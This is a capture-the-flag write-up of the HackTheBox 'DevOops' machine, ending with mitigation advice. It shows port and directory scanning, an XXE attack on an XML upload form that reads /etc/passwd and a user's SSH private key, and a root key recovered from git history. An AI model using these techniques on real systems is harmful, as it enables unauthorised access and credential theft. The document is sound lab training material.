DevOops Points

Gamified security with DevOops

No Comments

Today we’re going to learn how to hack our way into the DevOops machine at hackthebox. If you want to know more about hackthebox, see the first post in this series.

HTB rating

DevOops machine: preparation

As a first step, we add    devoops.htb

to our /etc/hosts file.



Nmap (Network Mapper) is a free and open-source network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich). Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.

Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection, vulnerability detection, and other features.


At the beginning of the reconnaissance phase we usually start by scanning the host for open ports, server headers and versions. nmap is probably one of the most sophisticated tools for that matter. Besides said features, it provides functions to tweak the type of scan to evade detection and comes with a huge amount of standard scripts which can be used to further probe detected services for known vulnerabilities. And you could also create your own scripts to further enhance its functionality.

Nmap by itself could fill a whole series of blog posts. But for our write-ups we’ll stick to the basics.

    -sS  TCP SYN scans
    -sC  Run Standard Scripts
    -sV  Probe open ports to determine service/version info
    -A   Enable OS detection, version detection, script scanning, and traceroute
    -p-  Scan all TCP ports
    -oN  Output scan in normal nmap format

Using these parameters, we start our scan

 kali@kali:~/htb/machines/devoops$ sudo nmap -sS -sC -sV -A -p- -oN tcp.nmap devoops.htb
    [sudo] password for kali:                                                                                                                                                                                                           
    Starting Nmap 7.80 ( ) at 2020-03-19 04:46 EDT                                                                                                                                                                     
    Nmap scan report for devoops.htb (                                                                                                                                                                                      
    Host is up (0.035s latency).                                                                                                                                                                                                        
    Not shown: 65533 closed ports                                                                                                                                                                                                       
    PORT     STATE SERVICE VERSION                                                                                                                                                                                                      
    22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)                                                                                                                                                 
    | ssh-hostkey:                                                                                                                                                                                                                      
    |   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)                                                                                                                                                                      
    |   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)                                                                                                                                                                     
    |_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)                                                                                                                                                                   
    5000/tcp open  http    Gunicorn 19.7.1                                                                                                                                                                                              
    |_http-server-header: gunicorn/19.7.1                                                                                                                                                                                               
    |_http-title: Site doesn't have a title (text/html; charset=utf-8).                                                                                                                                                                 
    No exact OS matches for host (If you know what OS is running on it, see ).                                                                                                                                 
    TCP/IP fingerprint:                                                                                                                                                                                                                 
    Network Distance: 2 hops                                                                                                                                                                                                            
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                                                                                             
    TRACEROUTE (using port 5900/tcp)                                                                                                                                                                                                    
    HOP RTT      ADDRESS                                                                                                                                                                                                                
    1   39.33 ms                                                                                                                                                                                                             
    2   39.47 ms devoops.htb (                                                                                                                                                                                              
    OS and Service detection performed. Please report any incorrect results at .                                                                                                                               
    Nmap done: 1 IP address (1 host up) scanned in 62.68 seconds                                                                                                                                                                        

In the console log above, we can see two open ports: 22 which is running ssh and 5000, where a http server is running.

5000: Gunicorn 19.7.1

Having a look at Port 5000, we see a webpage.

Website visible on port 5000

Seems like this is an MVP for a Blogfeeder application. And apparently there is some python used to populate the feed.

Searching for gunicorn reveals more about the potential attack surface of that application

Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.


Searching for CVEs unfortunately reveals not that much right now: CVEs for gunicorn

Let’s see what else we can enumerate about that web application.


Gobuster is a tool used to brute-force:
URIs (directories and files) in websites.
DNS subdomains (with wildcard support).
Virtual host names on target web servers.

gobuster on Github

With tools like gobuster(alternatives are dirb, dirbuster or any fuzzer like wfuzz, ffuf, patator that is able to do http requests), we can use predefined wordlists to search for files, directories or vhosts on our target website.

In this case, we wanted to perform a directory search using the following parameter:

    -u   URL of the target
    -w   wordlist to use for the scan
    -o   Output file to write the report in

The wordlist we use here is part of the (awesome) SecLists repository which collects and updates hundreds of wordlists that penetration testers can use during engagements and (of course) while playing CTFs like hackthebox.

    kali@kali:~/htb/machines/devoops$ gobuster dir -u http://devoops.htb:5000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -o big.gobuster.out
    Gobuster v3.0.1                                                                                                                                                                                                                     
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                                                                                                                                                                     
    [+] Url:            http://devoops.htb:5000                                                                                                                                                                                         
    [+] Threads:        10                                                                                                                                                                                                              
    [+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt                                                                                                                                                     
    [+] Status codes:   200,204,301,302,307,401,403                                                                                                                                                                                     
    [+] User Agent:     gobuster/3.0.1                                                                                                                                                                                                  
    [+] Timeout:        10s                                                                                                                                                                                                             
    2020/03/19 06:16:50 Starting gobuster                                                                                                                                                                                               
    /feed (Status: 200)
    /upload (Status: 200)
    2020/03/19 06:19:34 Finished                                                                                                                                                                                                        

So we have a feed and an upload url!

The /feed reveals the placeholder picture that can be seen when entering the page on devoops.htb:5000


Let’s see what we have on /upload.

upload site

This looks interesting.

Let’s see what we can upload

    kali@kali:~/htb/machines/devoops$ cat test.xml

This results in an Internal Server Error.

But thankfully, the author of the API left us some documentation:

XML Elements: Author, Subject, Content

So we craft a new file to upload.

first XML file

After uploading this, we get it processed:

processed xml file result

This gets us some more information about our target:
/uploads/ is the folder where our files are reachable.
– The user that runs this gunicorn server is roosa, because we’re running out of her home directory.


With all that we have gathered, we should be able to get a foothold on that server. A look at the OWASP Top 10 reveals that there is a common vulnerability present for applications that parse XML input.

This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

This kind of attack is called XML External Entity Attack – or XXE. Let’s see if we can change our uploaded file to exploit this.

Crafting the payload

For that, we’re switching to BurpSuite, a commonly used tool to intercept and manipulate traffic between the attackers browser and the machine that is targeted.

With that, we can repeat our previously sent queries, receive the replies and modify the payload bit by bit, without editing a file locally, saving it and uploading it using the browser.

Let’s adapt our file to a valid XML document with a proper definition for an external entity:


This get’s processed as well – but we don’t see the element pwn… Probably because the API only processes the documented fields – so we need to adapt our payload for that:

xxe 2

And we get a dump of /etc/passwd.

      Author: alice
     Subject: subject pwn
     Content: root:x:0:0:root:/root:/bin/bash
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
    avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
    avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
    colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
    speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
    hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
    kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
    pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
    usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false,,,:/home/osboxes:/bin/false
     URL for later reference: /uploads/payload.xml
     File path: /home/roosa/deploy/src

So we got a working proof of concept.

As we can remember from the initial portscan using nmap, the SSH port is open on that machine. Let’s check if roosa has an ssh private key in /home/roosa/.ssh/id_rsa. The payload for that is

xxe-ssh key

And we get the following answer

      Author: alice
     Subject: subject pwn
     Content: -----BEGIN RSA PRIVATE KEY-----
    -----END RSA PRIVATE KEY-----
     URL for later reference: /uploads/payloaded.xml
     File path: /home/roosa/deploy/src

Bingo! We successfully exploited the first weakness.

Now we can use this to authenticate as roosa, after we fixed the permissions, as the private key is supposed to stay private – so nobody but the user who owns the file is supposed to be able to read that. SSH makes sure that this is the case.

    kali@kali:~/htb/machines/devoops$ ssh roosa@devoops.htb -i id_rsa 
    The authenticity of host 'devoops.htb (' can't be established.
    ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'devoops.htb,' (ECDSA) to the list of known hosts.
    Permissions 0644 for 'id_rsa' are too open.
    It is required that your private key files are NOT accessible by others.
    This private key will be ignored.
    Load key "id_rsa": bad permissions

This can be fixed with a

chmod 600 id_rsa

and then we can use the key as an identifier using the -i flag with ssh.

    kali@kali:~/htb/machines/devoops$ ssh roosa@devoops.htb -i id_rsa 
    Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
     * Documentation:
     * Management:
     * Support:
    135 packages can be updated.
    60 updates are security updates.
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    roosa@gitter:~$ whoami
    roosa@gitter:~$ ls -l user.txt
    -r-------- 1 roosa roosa   33 Mar 26  2018 user.txt

Now we can extract the first flag: user.txt

Privilege Escalation


Let’s see where we are and what the home directory tells us about our user roosa:

    roosa@gitter:~$ ls -l
    total 68
    drwxrwxr-x 4 roosa roosa 4096 Mar 26  2018 deploy
    drwxr-xr-x 2 roosa roosa 4096 May 29  2018 Desktop
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Documents
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Downloads
    -rw-r--r-- 1 roosa roosa 8980 Mar 19  2018 examples.desktop
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Music
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Pictures
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Public
    -rwxrw-r-- 1 roosa roosa  147 Mar 26  2018
    -rw-rw-r-- 1 roosa roosa 1839 Mar 26  2018
    -rw-rw-r-- 1 roosa roosa 2206 Mar 26  2018
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Templates
    -r-------- 1 roosa roosa   33 Mar 26  2018 user.txt
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Videos
    drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 work

There is a script to start the gunicorn-server, there is a which seems to control the service that runs the blog feed – looks like we are dealing with a developer.

Let’s check the work folder.

Apparently the blogfeed project is the number one project right now

    roosa@gitter:~/work/blogfeed$ ls -lisa
    total 28
    4849719 4 drwxrwx--- 5 roosa roosa 4096 Mar 21  2018 .
    4849676 4 drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 ..
    4849720 4 drwxrwx--- 8 roosa roosa 4096 Mar 26  2018 .git
    4849743 4 -rw-rw---- 1 roosa roosa  104 Mar 19  2018
    4849765 4 drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 resources
    4849791 4 -rwxrw-r-- 1 roosa roosa  180 Mar 21  2018
    4849764 4 drwxrwx--- 2 roosa roosa 4096 Mar 26  2018 src

And it is a git repository!

If you are not familiar with git:

Git is a distributed version-control system for tracking changes in source code during software development. It is designed for coordinating work among programmers, but it can be used to track changes in any set of files. Its goals include speed, data integrity, and support for distributed, non-linear workflows.

Source: Wikipedia

Let’s see if we can extract anything useful from the git log.

    roosa@gitter:~/work/blogfeed$ git log
    commit 7ff507d029021b0915235ff91e6a74ba33009c6d
    Author: Roosa Hakkerson <>
    Date:   Mon Mar 26 06:13:55 2018 -0400
        Use Base64 for pickle feed loading
    commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
    Author: Roosa Hakkerson <>
    Date:   Tue Mar 20 15:37:00 2018 -0400
        Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
    commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
    Author: Roosa Hakkerson <>
    Date:   Tue Mar 20 15:08:09 2018 -0400
        Debug support added to make development more agile.
    commit ca3e768f2434511e75bd5137593895bd38e1b1c2
    Author: Roosa Hakkerson <>
    Date:   Tue Mar 20 08:38:21 2018 -0400
        Blogfeed app, initial version.
    commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
    Author: Roosa Hakkerson <>
    Date:   Tue Mar 20 08:37:56 2018 -0400
        Gunicorn startup script
    commit 33e87c312c08735a02fa9c796021a4a3023129ad
    Author: Roosa Hakkerson <>
    Date:   Mon Mar 19 09:33:06 2018 -0400
        reverted accidental commit with proper key
    commit d387abf63e05c9628a59195cec9311751bdb283f
    Author: Roosa Hakkerson <>
    Date:   Mon Mar 19 09:32:03 2018 -0400
        add key for feed integration from tnerprise backend
    commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
    Author: Roosa Hakkerson <>
    Date:   Mon Mar 19 09:24:30 2018 -0400
        Initial commit

One entry in there reads like we might be onto something!

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson
Date: Mon Mar 19 09:33:06 2018 -0400

reverted accidental commit with proper key

Let’s check out what happened before that one – because if this one is the revert, the one before that should still contain that key…


git diff d387abf63e05c9628a59195cec9311751bdb283f

delivers us another private ssh-key.

ssh key diff

Now we can checkout that revision, navigate to the private key and try to re-authenticate as root

    roosa@gitter:~/work/blogfeed$ git checkout d387abf63e05c9628a59195cec9311751bdb283f
    Note: checking out 'd387abf63e05c9628a59195cec9311751bdb283f'.
    You are in 'detached HEAD' state. You can look around, make experimental
    changes and commit them, and you can discard any commits you make in this
    state without impacting any branches by performing another checkout.
    If you want to create a new branch to retain commits you create, you may
    do so (now or later) by using -b with the checkout command again. Example:
      git checkout -b 
    HEAD is now at d387abf... add key for feed integration from tnerprise backend
    roosa@gitter:~/work/blogfeed$ l  resources/  src/
    roosa@gitter:~/work/blogfeed$ ls  resources  src
    roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key 
    -----END RSA PRIVATE KEY-----
    roosa@gitter:~/work/blogfeed/resources/integration$ ssh -i authcredentials.key root@
    Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
     * Documentation:
     * Management:
     * Support:
    135 packages can be updated.
    60 updates are security updates.
    Last login: Mon Mar 26 06:23:48 2018 from
    root@gitter:~# whoami

And we’re done. The root.txt flag can be acquired from /root/root.txt and the box is complete. You’re allowed to dance now!

Click on the button to load the content from

Load content


Lessons learned

If we go back a few steps and think about what it took to get from an unauthenticated visitor of a website to full system control – we are able to find mitigations for all of the flaws:

  • XML can be used to load objects from outside the document: Disable DTD completely (OWASP XXE Prevention Cheat Sheet)
  • The web server is running under a normal user account: To prevent attackers reading potentially sensitive files, the web server should’ve been running under its own account without privileges to read any users home directory. With that in place, the private ssh key could not have been exfiltrated.
  • Do not add credentials to your git repository! Make sure to keep it clean. If you actually did commit something like a key by accident: Change them. Especially if you can not be sure if anyone already got them.
  • In general: Have a look at mitre att&ck and their recommendations for the handling of private keys.

If you liked what you just read, feel free to give us feedback. If you didn’t like it – please do leave feedback as well.
We’ll be posting more of these in the near future. Happy hacking!

Martin Riedel

After several years of working as a JVM developer, Martins focus shifted to Information Security. If he’s not busy breaking stuff, he is probably in the middle of re-building it.


Your email address will not be published. Required fields are marked *